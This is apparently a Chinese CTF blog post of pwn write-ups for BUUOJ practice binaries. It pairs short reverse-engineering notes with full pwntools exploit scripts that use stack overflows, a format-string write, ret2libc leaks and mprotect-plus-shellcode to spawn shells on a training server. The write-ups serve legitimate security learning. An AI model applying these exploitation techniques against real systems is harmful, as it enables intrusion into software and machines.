本文最后更新于:2023年11月8日 中午
rip
根据IDA加载入main函数声明发现s数组距离rbp
的距离为F,即为15,这里的运行环境是64位,所以应当将Caller's rbp
的数据填满,在这里是8位,即可构造payload
1 2 3 4 5 6
| from pwn import * p=remote("node4.buuoj.cn", 25401)
payload=b'a'*15+b'b'*8+p64(0x401186+1) p.sendline(payload) p.interactive()
|
jarvisoj_level0
打开IDA主函数两条命令,很明显可利用漏洞就在vulnerable_function
函数内,进入后看到buf很明显距离rbp有0x80位,再加上64位机多出来的8位,即覆盖0x80+0x8
即可覆盖,另外有callsystem
函数作为漏洞执行入口
1 2 3 4 5 6 7
| from pwn import * p=remote("node4.buuoj.cn", 27716)
payload=b'a'*136+p64(0x400596)
p.sendlineafter('Hello, World\n',payload) p.interactive()
|
ciscn_2019_c_1
首先获取程序的ROP信息ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
后面的具体操作见代码注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * from LibcSearcher import * p=remote("node4.buuoj.cn", 27706)
elf=ELF("./ciscn_2019_c_1") main=0x400b28 rdi=0x400c83 ret=0x4006b9 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] p.sendlineafter('Input your choice!\n', '1') payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n', payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8, b'\0')) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump("puts") sys_addr=libc_base+libc.dump("system") binsh=libc_base+libc.dump("str_bin_sh") p.sendlineafter('choice!\n', '1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
p.sendlineafter('encrypted\n',payload) p.interactive()
|
经过暴力循环测试法,测得最终的libc版本为libc6_2.27-0ubuntu3_amd64
,然后即可打通本poc
[第五空间2019 决赛]PWN5(格式化字符串)
试着运行一下先,发现当输入的长度比较长的时候,回显会出现一点问题,所以合理猜测输出语句存在问题。
使用32位IDA载入,直接查看main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int __cdecl main(int a1) { unsigned int v1; int result; int fd; char nptr[16]; char buf[100]; unsigned int v6; int *v7;
v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result; }
|
首先看了看栈溢出漏洞,read做了限制字符大小利用不了,但是看到了一个printf(buf)
这就是一个明显的格式化字符漏洞,再结合题目分析一波,大概流程是随机生成一个数字存入到地址为dword_804C044
的全局变量中,最后对输入的passwd
字符进行比较,这里注意下atoi
这个函数它只会提取正整数,除此之外都是返回0,因为dword
变量是随机数,所以控制不了(之前见过一题也是随机数,但是它的随机种子在栈里面是可控的,然后用栈溢出,再引用ctypes
库,加载libc.so.6
然后就可以获得系统一样的随机数了),但是这题很明显就是通过printf(buf)
这个漏洞去更改dword
变量的值
关于格式化字符串攻击,这里可以从以下两个资料着手了解
详谈Format String
【整理笔记】格式化字符串漏洞梳理
利用AAAA %08x %08x %8x %08x %08x %08x %08x...
这样的字符串来找到我们输入的参数在函数栈上的位置
假设是在栈中的第n位,则可利用%n$
定位到参数在栈上的位置,特别值得一提的是,这里的%n中如果是n则默认只想ESP指向的栈顶的内容指向的内存地址,而如果是一个具体的数值x则是指向[ESP+x]
因此在这道题中,我们就可以把我们不知道的dword_804C044
改为我们设定的数值即可,由此编写poc
1 2 3 4 5 6 7 8 9 10
| from pwn import *
p = remote("node4.buuoj.cn", 28042)
addr=0x0804C044 payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3) payload+=b'%10$n%11$n%12$n%13$n' p.sendline(payload) p.sendline(str(0x10101010)) p.interactive()
|
最终得到flag
ciscn_2019_n_8
打开之后查main函数逻辑,然后你就会发现原来是一道水题- -,只要保证var数组第14位为0x11即可getshell,直接什么都不看编写poc梭哈
1 2 3 4 5 6 7 8
| from pwn import *
p = remote("node4.buuoj.cn", 27097)
payload=p32(0x11)*14 p.sendline(payload) p.interactive()
|
梭哈成功✌
jarvisoj_level2
IDA分析,vulnerable_function
中有关于buf的read函数,且buf距离ebp
长度为0x88,而read指定长度为0x100,再经过checksec查看,确认存在栈溢出漏洞。
查看字符串发现程序内已经包含了/bin/sh
字符串且具有system函数,因此溢出思路为填充buf跳转到system函数,然后传入字符串/bin/sh
作为参数即可getshell,编写poc如下
1 2 3 4 5 6 7 8 9
| from pwn import *
p = remote("node4.buuoj.cn", 28037)
binsh=0x0804A024 system=0x8048320 payload=b'a'*(0x88+4)+p32(system)+b'a'*4+p32(binsh) p.sendline(payload) p.interactive()
|
成功打通,cat flag
[OGeek2019]babyrop
初期逻辑和前面一道题比较像,buf给一个随机数,然后拿用户输入与buf进行比较,显然这里没有利用空间。
在sub_804871F函数里面很明显看到有strlen(buf)
,这里有一个利用点,即strlen遇到\x00
时直接截断,所以我们第一位直接截断即可绕过此部分,然后发现buf是一个7位数饿数组,但是在函数中有read(0, buf, 0x20u)
,经计算,v5就相当于buf的第8位,所以v5在这里可以被我们指定。
而另一个函数sub_80487D0中a1就是main函数中传入的v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8<E7,不能覆盖返回地址,v5需要尽可能的大,才能覆盖到返回地址。
根据上述思路,进行exp编写,这里一开始是想在绕过之后利用read/write泄露地址然后通过LibcSearcher找到libc版本号的,但是发现不是很成功…通过泄露的地址未能找到正确的libc,结果回头一看题目里面已经给出libc了- -既然如此那就直接用了。真可谓众里寻他千百度,得来全不费工夫,最后把LibcSearcher的部分注释了,也算是一种复习吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from LibcSearcher import *
p = remote("node4.buuoj.cn", 28820) elf=ELF('./pwn1') libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system'] binsh_libc=next(libc.search(b'/bin/sh')) write_plt=elf.plt['write'] write_got=elf.got['write'] write_libc=libc.symbols['write'] read_got=elf.got['read'] read_plt=elf.plt['read']
main_addr=0x8048825
payload1=b'\x00'+b'\xff'*7 p.sendline(payload1) p.recvuntil("Correct\n")
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
payload+=p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4)) print('[+]write_addr: ', hex(write_addr))
libc_base=write_addr-write_libc system_addr=system_libc+libc_base binsh_addr=binsh_libc+libc_base
p.sendline(payload1) p.recvuntil("Correct\n")
payload=b'a'*(0xe7+4) payload+=p32(system_addr)+p32(main_addr)+p32(binsh_addr) p.sendline(payload)
p.interactive()
|
get_started_3dsctf_2016
checksec发现开了NX保护,所以栈内容执行不可用,考虑找其他后门函数,搜索flag关键字发现get_flag函数,打开发现是读取flag.txt,所以考虑只需要把return地址改在get_flag函数的if条件句之后即可正常执行,这里注意到main函数时候没有push ebp,所以在压进去0x38字节以后就直接到了return地址处,写出exp为
1
| payload = b'a'*0x38 + p32(80489B8)
|
本地可以打通,但是连到buu远程发现提示core dumped,猜测是远程有内核保护机制,因此就只能尝试保证堆栈平衡的情况下进行处理了
case1
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
context.log_level="debug"
p=remote('node4.buuoj.cn', 27394)
payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))
p.sendline(payload)
p.interactive()
|
case2
第二种是看到大佬的WP才知道的,还可以通过vmprotect来修改某块内存地址的读写权限来执行shell的,函数的具体情况如下
1
| >int mprotect(const void *startaddr, size_t len, int prot);
|
startaddr 内存起始地址, len修改内存的长度, prot 内存的权限
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址startaddr必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。0x1000=4096
prot = 7 表示可读可写可执行4+2+1=7(r=4,w=2,x=1)
接着去找内存bss段的一段可用内存,这里我们使用gdb查找
可以看到0x080ea000到0x080ec000这一段是可读可写不可执行的,正符合我们的要求,所以我们就拿这一段来下手
由于在这个过程中我们分别要在mprotect和read里面输入三个参数,都需要维持栈平衡,所以我们需要找到一个进行三次pop的ROP,确保对战还原,程序正常运行,使用ROPgadget查找
1
| ROPgadget --binary get_started --only 'pop|ret' | grep pop
|
找到了地址0x0804f460
有3pop+ret结构,符合我们的要求,因此就用它了
到这里,我们的思路就基本明确了:首先从main函数跳转到mprotect函数,改变指定内存段的读写权限,然后再跳转到read函数,设置读取后将内容保存在前面修改过的内存地址里面,接着我们传入shellcode,获取flag即可,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context.log_level="debug"
elf=ELF('./get_started_3dsctf_2016') p=remote('node4.buuoj.cn', 27394)
pop3_ret = 0x0804f460
mem_addr = 0x080ea000 mem_size = 0x2000 mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read']
payload = b'a'*0x38 + p32(mprotect_addr) + p32(pop3_ret)
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc) payload += p32(read_addr) + p32(pop3_ret)
payload += p32(0x100) payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr)
p.sendline(payload) shellcode = asm(shellcraft.sh(),arch='i386', os='linux') p.sendline(shellcode)
|
level2_x64
题目拿到手分析有NX保护,排除栈内shellcode一类,打开一看,还是栈溢出,基本轻车熟路了,看到有system可以调用,又看到.data表里面有/bin/sh
可以调用,那就直接开搓
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
context.log_level="debug"
p=remote('node4.buuoj.cn', 28117)
pop_rdi_ret_addr=0x00000000004006b3 system_addr=0x40063E binsh_addr=0x600A90
payload = 'a'*0x80 + 'a'*8 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
|
[HarekazeCTF2019]baby_rop
老花样,栈溢出找到system调用/bin/sh即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
context.log_level="debug"
p=remote('node4.buuoj.cn', 26354)
system_addr = 0x4005E3 rdi_ret_addr = 0x0000000000400683 binsh_addr = 0x601048
payload = 'a'*0x10 + 'a'*8 + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) p.sendline(payload)
p.interactive()
|
ciscn_2019_n_5
保护全关,第一段输入将shellcode写入bss,第二段利用溢出修改返回地址执行shell即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * from LibcSearcher import *
context.log_level="debug"
context(os='linux',arch='amd64', log_level = 'debug')
elf=ELF('./ciscn_2019_n_5') p=remote('node4.buuoj.cn', 27642)
bss_addr=0x601080 shellcode=asm(shellcraft.sh()) payload='a'*(0x20 + 0x8) + p64(bss_addr)
p.recvuntil('name') p.sendline(shellcode) p.recvuntil('?') p.sendline(payload) p.interactive()
|
others_shellcode
这是个啥题啊,直接nc连上就shell了,自始至终都觉得哪里不对劲,但是flag提交成功…
ciscn_2019_ne_5
这题目有意思,前面都平平无奇,打开以后发现通过admin校验以后可以输出和输出内容,而输入大小是128,最后输出时候使用strcpy存入的数组大小明显小于此值,因此可以构成栈溢出,修改返回地址到system,这里没有/bin/sh
字符串,但是有一个fflush
可以构造出sh
,居然也可以用,新的知识点++,到这里就直接开写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * from LibcSearcher import *
context.log_level="debug"
e=ELF('./ciscn_2019_ne_5') p=remote('node4.buuoj.cn', 27192)
ret_addr=0x0804843e popebp_ret_addr=0x08048720 binsh_addr=0x080482ea system_addr=e.symbols['system']
p.sendlineafter('word:', 'administrator') p.sendlineafter(':','1')
payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr) p.sendline(payload) p.sendlineafter(':','4') p.interactive()
|
看似没有什么问题吧,但是放到buu上面一跑
1
| timeout: the monitored command dumped core
|
检查多遍未果,又和师傅们交流也没下文,后来有个师傅自己写了一遍跑通了,遂检查不同之处,发现师傅的system_addr是手写的,于是自己也去找到_system
填入地址,写成新的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from LibcSearcher import *
context.log_level="debug"
e=ELF('./ciscn_2019_ne_5') p=remote('node4.buuoj.cn', 27192)
ret_addr=0x0804843e popebp_ret_addr=0x08048720 binsh_addr=0x080482ea
system_addr=0x80484d0
p.sendlineafter('word:', 'administrator') p.sendlineafter(':','1')
payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr) p.sendline(payload) p.sendlineafter(':','4') p.interactive()
|
通了…后来又仔细看了一下使用symbols输出的地址为0x804a024
,回去一看读的是plt-got段的system地址…真是害人不浅啊
铁人三项(第五赛区)_2018_rop
checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret2libc,题目中给到了write函数,所以考虑使用write函数来泄露
关于write参数fd
我找到了如下解释
write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.
概言之,就是0 stands for stdin and 1 stands for stdout,不一定正确,但是有助于记忆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from LibcSearcher import *
context(os='linux',arch='i386', log_level = 'debug')
elf=ELF('./2018_rop') p=remote('node4.buuoj.cn', 26830)
main_addr = 0x080484C6 write_plt = elf.plt['write'] write_got = elf.got['write']
payload = b'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) p.sendline(payload) write_addr = u32(p.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload=b'a'*(0x88+0x4) + p32(system_addr) + p32(system_addr) + p32(binsh_addr) p.sendline(payload) p.interactive()
|
bjdctf_2020_babyrop
先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析
main函数内很简单,进一步分析后找到关键函数vuln
本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进行平衡,所以我们要修改puts的参数需要先进行一次pop保证堆栈平衡,因此使用ROPgadget先找到符合我们条件的ROP
在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
因此需要找到pop rdi,ret的gadget
64位的system调用的大坑
64位的system调用会判断rsp的值是否%16=0;解决方法是在调用system之前使用ret来帮助解决;
然而对齐问题解决就行了吗?不存在的,还是会出现问题。因为这个涉及到栈平衡的问题,所以最好的解决办法,是不要把栈平衡问题遗留到system调用的时候,应该在哪里出现就在哪里解决。
puts_got是puts函数的got表项地址,里面装的是puts的真实地址。使用pop_rdi_ret会把puts_got作为参数弹到寄存器rdi上。接着执行puts_plt(puts_got),就能得到puts真实地址。
到这里我们就可以构造payload了,大体思路就是保持堆栈平衡,然后利用puts函数泄露其got地址,然后找到其对应的lib,就可以修改令其执行/bin/sh,从而getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * from LibcSearcher import *
context(os='linux',arch='i386', log_level = 'debug')
elf=ELF('./bjdctf_2020_babyrop') p=remote('node4.buuoj.cn', 28430)
pop_rdi_addr=0x0000000000400733 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] p.recvuntil(b"story!\n") main_addr = elf.symbols['main']
payload = b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendline(payload) puts_addr = u64(p.recv(6).ljust(8, b'\x00')) print("puts addr: " + hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload=b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
|